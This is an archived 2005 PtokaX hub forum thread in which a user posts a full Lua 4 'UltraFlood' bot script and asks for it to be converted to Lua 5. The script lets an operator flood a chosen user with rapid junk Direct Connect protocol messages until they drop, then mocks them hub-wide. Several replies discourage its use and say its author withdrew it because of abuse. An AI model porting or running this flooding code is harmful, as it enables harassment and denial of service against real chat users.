PtokaX forum

Archive => Archived 5.0 boards => Request for scripts => Topic started by: Baad-Boi on 04 August, 2005, 23:45:22

Title: Ultra Flood
Post by: Baad-Boi on 04 August, 2005, 23:45:22
hey i got a ultra flood script and its in lua 4

iz der any one who can convert it into lua 5
--------------------------------------------------------------------



sBotName = "UltraFlood";

sFloodUser = nil;
iFloodCount = 0;

sToFloodUser = nil;

function Main()
   frmHub:RegBot(sBotName);
   SetTimer(10);
end

function OpConnected(curUser)
curUser:SendData("$UserCommand 1 3 ?l?r??l??? $<%[mynick]> !ultra %[nick]||")
end

function OnTimer()
   for i = 1, 20, 1 do
      iFloodCount = iFloodCount + 1;
      SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
   end

   if(GetItemByName(sFloodUser) == nil) then
      StopTimer();
      SendToAll(sBotName, sFloodUser.." was MuRkEdd wiTh "..iFloodCount.." anD wEnT DoWn In a BiG BaLL oF FlAmEz!!");
      iFloodCount = 0;
      sFloodUser,sToFloodUser = nil,nil;
   end
end

function DataArrival(curUser, sData)
   local s, e, cmd, user = strfind(sData, "%b<>%s+(%S+)%s+(%S+)%|$");

   if(cmd == nil or curUser.bOperator == nil) then return 0; end

   cmd = strlower(cmd);

   if(cmd == "!ultra" and GetItemByName(user).bOperator ~= 1) then
      sFloodUser = user;
      sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
      SendToAll(sBotName, "MuRdErInG"..user.." tiLl sOmE mAnNaZ AnD ReSpEcT cOmEz OuT ThEr aSS!!");
      StartTimer();
   return 1
   end
end



----------------------------------------------------------------------
Title: lua 5
Post by: ?Tr??T_???? on 05 August, 2005, 00:01:19
i wish i know o translate it.. :(
Title:
Post by: bastya_elvtars on 05 August, 2005, 00:23:15
This script relies on deprecated parts of the DC protocol, and it is a bad way of punishment anyway, better not use it, simply kick...
Title:
Post by: ??????Hawk?????? on 05 August, 2005, 02:03:33
flooding is  bad...

you flood a user ,  they flood or mess with your hub  ..  who looses the most ????


??????Hawk??????
Title:
Post by: Pothead on 05 August, 2005, 02:59:35
Said many times before. Phatty made this script.  Then he deleted it.  Because of it being abused.  You should respect his descision. :)